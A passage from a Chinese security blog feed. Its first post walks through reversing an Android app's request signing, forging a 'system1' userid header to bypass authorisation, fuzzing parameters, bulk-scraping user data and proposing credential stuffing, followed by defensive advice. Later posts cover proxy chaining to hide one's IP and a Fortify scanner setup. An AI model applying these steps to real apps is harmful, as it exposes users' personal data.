&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764212379780-eb4425.Cj3JWQsN_Z1nAPxU.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第二阶段：突破——APK 逆向与算法还原&lt;/h2&gt;
&lt;p&gt;刚好这个APP没加壳，通过反编译 APK（使用 JADX），我开始寻找签名的生成逻辑。&lt;/p&gt;
&lt;h3&gt;1. 定位核心配置&lt;/h3&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;那么如何搜索这些特征点呢，我个人的思路是如下：&lt;/p&gt;
&lt;h4&gt;1. 搜索 HTTP 请求头中的关键词 (最有效)&lt;/h4&gt;
&lt;p&gt;这是最快的方法。我举例如下，&lt;/p&gt;
&lt;p&gt;刚开始我在Burp Suite 里看到了几个特殊的 Header，直接在反编译工具（如 JADX）中搜索这些字符串：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;sign&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;  (搜字符串，注意带引号)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;timestamp&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;Id&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;access-token&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;  或  &lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;accessToken&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;搜索技巧：&lt;/strong&gt; 如果搜 &lt;code&gt;&quot;sign&quot;&lt;/code&gt; 结果太多（因为这是常用词），尝试搜  &lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;sign&quot;:&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;  (带冒号) 或者  &lt;strong&gt;&lt;strong&gt;&lt;code&gt;.addHeader(&quot;sign&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; 。&lt;/p&gt;
&lt;h4&gt;2. 搜索网络库拦截器 (Interceptor)&lt;/h4&gt;
&lt;p&gt;现代 Android App (90%以上) 使用 &lt;code&gt;OkHttp&lt;/code&gt; 或 &lt;code&gt;Retrofit&lt;/code&gt; 发送网络请求。开发者通常不会在每个页面单独写签名逻辑，而是写在一个&lt;strong&gt;全局拦截器&lt;/strong&gt;里。&lt;/p&gt;
&lt;p&gt;搜索以下关键词：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;Interceptor&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (查看实现了这个接口的类)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;addHeader&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;chain.proceed&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;典型代码长这样：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Java&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;public class SignInterceptor implements Interceptor {
    @Override
    public Response intercept(Chain chain) {
        Request original = chain.request();
        // ... 这里就是你要找的签名逻辑 ...
        String sign = MD5.encrypt(original.body() + timestamp + secret);
        
        Request newRequest = original.newBuilder()
                .addHeader(&quot;sign&quot;, sign) // 关键特征
                .build();
        return chain.proceed(newRequest);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. 搜索加密相关的关键词&lt;/h4&gt;
&lt;p&gt;如果以上都找不到，尝试搜索通用的加密类名或方法名：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;MD5&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (通常签名是 MD5 或 SHA256)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;MessageDigest&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (Java 原生加密类)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;Mac&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (HMAC 签名常用类)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;SecretKey&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;sortedMap&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; / &lt;strong&gt;&lt;strong&gt;&lt;code&gt;TreeMap&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (签名通常需要对参数进行字母排序，搜索这个能找到排序逻辑)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. 搜索 URL 路径&lt;/h4&gt;
&lt;p&gt;直接搜索你在抓包里看到的 URL 路径片段：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&quot;/api/token&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;&quot;/dPassword&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;找到定义这些 URL 的地方，通常顺藤摸瓜就能找到是谁在使用它们，以及使用前做了什么处理&lt;/p&gt;
&lt;p&gt;通过搜索抓包中看到的 &lt;code&gt;clientId&lt;/code&gt; 字符串，我迅速定位到了一个名为 Getsign 的配置文件。：&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;public final String getSign(String timestamp, boolean z) {
    String str;
    // 1. 关键判断：z 代表是否有 Token (是否已登录)
    if (z) {
        // 情况 A：有 Token (用于业务接口)
        // 拼接规则：[密钥] + [Token] + [时间戳]
        str = &quot;xxxxxxxxxxxxxx&quot; 
              + UserManager.INSTANCE.getLoginModel().getAuth().getToken() 
              + timestamp;
    } else {
        // 情况 B：无 Token (用于获取 Token 的接口)
        // 拼接规则：[密钥] + [时间戳]
        str = &quot;xxxxxxxxxxxxxx&quot; 
              + timestamp;
    }
    
    // 2. 算法选择：MD5
    MessageDigest messageDigest = MessageDigest.getInstance(&quot;MD5&quot;);
    byte[] bytes = str.getBytes(Charsets.UTF_8);
    byte[] digest = messageDigest.digest(bytes);
    
    // 3. 格式化：转为 32位 Hex 字符串
    String format = String.format(&quot;%032x&quot;, Arrays.copyOf(new Object[]{new BigInteger(1, digest)}, 1));
    
    // 4. 大写转换：转为大写
    return format.toUpperCase(Locale.ROOT);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 还原签名算法&lt;/h3&gt;
&lt;p&gt;接着，通过搜索 &lt;code&gt;.addHeader(&quot;sign&quot;&lt;/code&gt; 关键字，我在 &lt;code&gt;App.kt&lt;/code&gt; 中找到了签名的计算逻辑：&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// App.kt 伪代码
fun getSign(timestamp: String, hasToken: Boolean): String {
    val raw = if (hasToken) {
        FULL_KEY + token + timestamp
    } else {
        FULL_KEY + timestamp
    }
    return MD5(raw).toUpperCase()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;算法逻辑明确了：&lt;/strong&gt;  &lt;code&gt;Sign = MD5(SecretKey + [Token] + Timestamp)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;有了这个算法和密钥，我编写了一个 Python 脚本，能够实时生成合法的签名。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第三阶段：发现——代码中的逻辑后门&lt;/h2&gt;
&lt;p&gt;在审计 &lt;code&gt;App.kt&lt;/code&gt; 的网络拦截器（Interceptor）代码时，一段奇怪的逻辑引起了我的注意：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764212379859-a214fb.DktuQroT_Zh9tO5.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;// 拦截器逻辑
if (url.contains(&quot;/queryUser&quot;)) {
    //高危逻辑：如果是查询用户接口，强制将 userid 设为 system1
    request.addHeader(&quot;userid&quot;, &quot;system1&quot;);
} else {
    request.addHeader(&quot;userid&quot;, currentUser.uid);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;漏洞点分析：&lt;/p&gt;
&lt;p&gt;这意味着有一个接口 &lt;code&gt;/XXX/queryUser&lt;/code&gt;，它大概率是用来&lt;strong&gt;获取用户列表&lt;/strong&gt;的。且服务器可能存在逻辑漏洞：&lt;strong&gt;只要 Header 里的&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;code&gt;userid&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;是&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;code&gt;system1&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;，它就允许查看所有数据，而不校验 Token 是否真的是管理员的。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于 API 签名（Sign）和时间戳（Timestamp）是动态的，我们需要先生成一个合法的token和sign，然后修改userid信息来测试system1发送请求。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第四阶段：利用——报错信息泄露与 Fuzzing&lt;/h2&gt;
&lt;p&gt;我利用 Python 脚本获得了新的sign信息，目标直指 &lt;code&gt;/queryUsers&lt;/code&gt; 接口，并在 Header 中伪造了 &lt;code&gt;userid: system1&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;1. Fuzz1&lt;/h3&gt;
&lt;p&gt;我发送了一个空的 JSON Body {}。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764212379939-00ba4f.C5fP-H_U_737vB.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;服务器响应：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;{
    &quot;code&quot;: 500,
    &quot;message&quot;: &quot;请输入PageSize&quot;,
    &quot;result&quot;: null
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;突破口！&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;服务器没有返回“403 Forbidden”或“权限不足”，说明&lt;strong&gt;伪装&lt;/strong&gt; &lt;strong&gt;&lt;strong&gt;&lt;code&gt;system1&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;成功绕过了鉴权&lt;/strong&gt;！&lt;/li&gt;
&lt;li&gt;服务器报错信息泄露了必需参数名：&lt;code&gt;PageSize&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2. Fuzz2&lt;/h3&gt;
&lt;p&gt;既然知道了 &lt;code&gt;PageSize&lt;/code&gt;，肯定是代表某个页码，根据开发经验，分页参数通常是成对出现的。&lt;/p&gt;
&lt;p&gt;在编程开发中（特别是 Java 后端），分页永远需要两个参数：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;一页显示多少条&lt;/strong&gt; (刚刚服务器泄露了，叫 &lt;code&gt;PageSize&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;当前是第几页&lt;/strong&gt; (这个我们需要猜)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;既然参数1叫 &lt;code&gt;PageSize&lt;/code&gt;，那么参数2通常会遵循相同的命名风格。根据经验，常见的组合只有以下几种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pageSize&lt;/code&gt; + &lt;code&gt;page&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pageSize&lt;/code&gt; + &lt;code&gt;pageIndex&lt;/code&gt; (常见于 C# 或某些前端框架)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pageSize&lt;/code&gt; + &lt;code&gt;current&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;strong&gt;&lt;code&gt;pageSize&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;  &lt;strong&gt;+&lt;/strong&gt;  &lt;strong&gt;&lt;strong&gt;&lt;code&gt;pageNum&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; (常见于 Java 的 PageHelper 插件)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;虽然报错信息显示的是 &lt;code&gt;PageSize&lt;/code&gt; (大写开头，PascalCase)，但这个 App 是安卓应用，后端大概率是 Java (Spring Boot)。 Java 的标准变量命名规范是 &lt;strong&gt;小驼峰 (camelCase)&lt;/strong&gt; ，即首字母小写。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764212380014-8bd60b.-1gzn86F_Zk2lXO.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我构建了一个 Fuzzing 列表来猜测另一个参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{&quot;PageSize&quot;: 10, &quot;Page&quot;: 1}&lt;/code&gt; -&gt; 失败&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;pageSize&quot;: 10, &quot;page&quot;: 1}&lt;/code&gt; -&gt; 失败&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;pageSize&quot;: 10, &quot;pageIndex&quot;: 1}&lt;/code&gt; -&gt; 失败&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;pageSize&quot;: 10, &quot;pageNum&quot;: 1}&lt;/code&gt; -&gt; &lt;strong&gt;成功 (200 OK)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;服务器返回了：&lt;code&gt;&quot;code&quot;: 0, &quot;message&quot;: &quot;接口调用成功&quot;&lt;/code&gt;，并吐出了大量的用户列表数据。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764212380106-413119.Cw8A8xM1_Z2s5mIs.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第五阶段：危害扩大&lt;/h2&gt;
&lt;p&gt;通过这个漏洞，我编写了自动化脚本，利用 &lt;code&gt;pageNum&lt;/code&gt; 遍历，成功拉取了全量的用户信息。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764212380184-676e95.DG8ELTb4_1bpQ7B.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;泄露数据包括：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;真实的用户 ID (&lt;code&gt;userId&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;用户昵称&lt;/li&gt;
&lt;li&gt;手机号 (部分脱敏)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;后续危害链 (Kill Chain)：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;精准撞库&lt;/strong&gt;：拥有了 100% 准确的用户 ID 列表后，配合弱口令（如 123456）进行撞库，成功率极高。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1764212380255-89e6f1.BYwkvG7f_1G0T5f.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;总结与防御建议&lt;/h2&gt;
&lt;p&gt;这次实战展示了一个典型的 API 漏洞组合拳：&lt;strong&gt;硬编码密钥 + 签名校验逻辑缺陷+APP后门&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;给开发者的防御建议：&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;严禁硬编码密钥&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;不要将 &lt;code&gt;Client Secret&lt;/code&gt; 写死在客户端代码中，APK 反编译有成本，真遇到高手了也是秒了。&lt;/li&gt;
&lt;li&gt;建议使用动态密钥交换或将签名逻辑放在服务端（如网关层）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修复鉴权逻辑 (Broken Access Control)&lt;/strong&gt; ：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;永远不要相信客户端提交的 UserID&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;后端必须从验证过的 &lt;code&gt;AccessToken&lt;/code&gt; 中解析用户身份（Subject），以此作为权限判断的依据。Header 里的 &lt;code&gt;userid&lt;/code&gt; 只能作为参考，不能作为凭证。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;统一错误处理&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;生产环境应屏蔽详细的错误堆栈和具体的参数提示，统一返回模糊的错误码，防止攻击者利用报错信息进行 Fuzzing。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;API 签名不是万能药&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;签名只能保证传输安全，不能保证业务逻辑安全。不要因为有了签名就忽略了越权检测。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>利用Cloudflare做二级代理</title><link>https://s4u2self.cc/blog/cloudflare-proxy</link><guid isPermaLink="true">https://s4u2self.cc/blog/cloudflare-proxy</guid><description>利用Cloudflare做二级代理</description><pubDate>Fri, 06 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1&lt;/h2&gt;
&lt;p&gt;CF 良心的一批！&lt;/p&gt;
&lt;p&gt;访问地址：&lt;a href=&quot;https://1.1.1.1/&quot;&gt;https://1.1.1.1/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;2&lt;/h2&gt;
&lt;p&gt;为什么有这个想法呢，因为&lt;/p&gt;
&lt;p&gt;~~能白嫖不要给钱~~&lt;/p&gt;
&lt;p&gt;有些站点对ip限制的比较死，云厂商的ip偶尔是白名单，封ip比较快，不想被封而已。&lt;/p&gt;
&lt;p&gt;发现cf给的ip还是比较干净的，相当舒服了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1683705000957-b1c459.D9CoIDOq_21CawQ.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;3&lt;/h2&gt;
&lt;p&gt;详细设置步骤：&lt;/p&gt;
&lt;h4&gt;clash：&lt;/h4&gt;
&lt;p&gt;我本地使用的clash，因为我需要接管我的全网卡流量，我这里以clash举例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;打开clash的tun模式，选择全局代理&lt;/li&gt;
&lt;li&gt;打开clash的系统代理模式，为CF走代理作用&lt;/li&gt;
&lt;li&gt;看一下clash监听端口是多少，我这里是7890&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Cloudflare&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;启用Cloudflare的proxy代理模式&lt;/li&gt;
&lt;li&gt;填入clash的端口&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1683705261197-a9c8b4.e-7b-4k-_1WEYq4.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;连接即可。&lt;/p&gt;
&lt;p&gt;效果图如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1683705336157-0200ca.SKXfUAIp_Z1iSkfI.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;注意事项&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;挂着二级代理不卡吗？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不卡，看油管2k没问题。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为什么不直接裸连cf&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;测试发现了一个有趣的问题，如果单挂cf的话，会直接显示你的真实物理位置。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1683706123840-cb02c3.DljBjfxF_Z2bi90M.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我没有实际去研究为什么会造成这种情况，网上有参考例子：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.skk.moe/post/something-about-cf-warp/&quot;&gt;https://blog.skk.moe/post/something-about-cf-warp/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;5.10日更新：&lt;/p&gt;
&lt;p&gt;为什么会造成真实物理位置泄漏的原因是 ipv6&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1683706440465-263365.Bh8U5bnx_1cJPMW.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;使用cf提供的测试地址，你可以发现第三行的ip是你的真实IP。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1683706617943-4a1458.C76v8QIh_1m8GuX.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1683706653006-769eb1.DAUH9s1C_2k9LbY.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;此处的ipv4走的确实是美国的cf，但是开启warp之后会启用一个ipv6，这个ipv6不受保护的，就这么简单。&lt;/p&gt;
&lt;p&gt;所以测试的时候发现开启了warp也能获取到真实的地址的情况下，多半是你的ipv6优先了。&lt;/p&gt;
&lt;p&gt;修复方法也很简单，禁用ipv6即可。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;另外的玩法&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;warp用来解锁线路，还有给vps解锁ip的玩法挺多的，具体请自行搜索，这里不过多解释了。&lt;/p&gt;
&lt;h2&gt;5&lt;/h2&gt;
&lt;p&gt;最佳的解决方案是给vps套warp，然后vps组成代理，利用clash的链式代理即可达到隐藏ip的目的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1683707828640-973621.64F6t9C1_Z1ejGYr.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Fortify SCA (Windows + VS Code 插件) 扫描 Python 代码指南</title><link>https://s4u2self.cc/blog/fortify-sca-python-guide</link><guid isPermaLink="true">https://s4u2self.cc/blog/fortify-sca-python-guide</guid><description>Fortify SCA (Windows + VS Code 插件) 扫描 Python 代码指南</description><pubDate>Thu, 31 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近接到一个活，要对python代码进行代码扫描，之前只用过fortify扫描Java类的代码，搜索了一下支持python类代码扫描，和常规的方式不一样 记录一下过程。&lt;/p&gt;
&lt;h2&gt;一、前期准备&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Fortify Static Code Analyzer (SCA)&lt;/strong&gt;：Windows 232.2 版本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安装 VS Code&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安装 Fortify VSC 插件&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;打开 VS Code。&lt;/li&gt;
&lt;li&gt;进入 Extensions 视图 (快捷键 &lt;code&gt;Ctrl+Shift+X&lt;/code&gt;)。&lt;/li&gt;
&lt;li&gt;搜索 &quot;Fortify&quot;，找到并安装 &quot;Fortify VSC&quot; 插件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1754920841342-74a4d2.BvbWGMo__ZbLTEE.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;二、Fortify VSC 插件配置&lt;/h2&gt;
&lt;p&gt;在 VS Code 中，打开 Fortify 插件界面（通常在左侧活动栏找到 Fortify 图标）。打开显示如下。&lt;/p&gt;
&lt;p&gt;第一个不用管，直接切换到Static Code Analyzer executable path视图。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1754920879174-c60f4a.Xqub21sB_ZNHjiL.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;2.1 配置 SCA 可执行文件路径&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1754921038810-bb58c4.Bix8wNWH_ZQo8OW.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字段：&lt;/strong&gt;&lt;code&gt;Static Code Analyzer executable path&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;说明：&lt;/strong&gt; 指定 &lt;code&gt;sourceanalyzer.exe&lt;/code&gt; 的路径。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设置：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;推荐：&lt;/strong&gt; 如果您已将 Fortify SCA 的 &lt;code&gt;bin&lt;/code&gt; 目录添加到系统环境变量 &lt;code&gt;Path&lt;/code&gt; 中，则此处直接输入 &lt;code&gt;sourceanalyzer&lt;/code&gt; 即可。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1754921079062-cf0535.C3JGVlrF_Z2lAr9b.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- **备用：** 如果上述方法不行，点击右侧的 `Browse...` 按钮，导航到Fortify SCA 安装目录，找到 `bin` 文件夹，然后选择 `sourceanalyzer.exe`。
    * **示例路径：** `C:\Program Files\Fortify\Fortify_SCA_and_Apps_&amp;#x3C;版本号&gt;\bin\sourceanalyzer.exe`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置基本上就配置好了，剩下的用vscode打开需要扫描的目录，再点击一下Fortify插件的按钮即可自动填充。&lt;/p&gt;
&lt;h3&gt;2.2 配置构建 ID&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字段：&lt;/strong&gt;&lt;code&gt;Build ID&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;说明：&lt;/strong&gt; 为本次扫描任务设置一个唯一的标识符。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 配置扫描结果输出路径 (FPR)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字段：&lt;/strong&gt;&lt;code&gt;Scan results location (FPR)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;说明：&lt;/strong&gt; 指定扫描结果文件（&lt;code&gt;.fpr&lt;/code&gt; 文件）的保存路径和文件名。Fortify Audit Workbench 将使用此文件。默认在代码库的根目录文件夹下保存此文件&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4 配置日志路径&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;字段：&lt;/strong&gt;&lt;code&gt;Log location&lt;/code&gt;&lt;/li&gt;
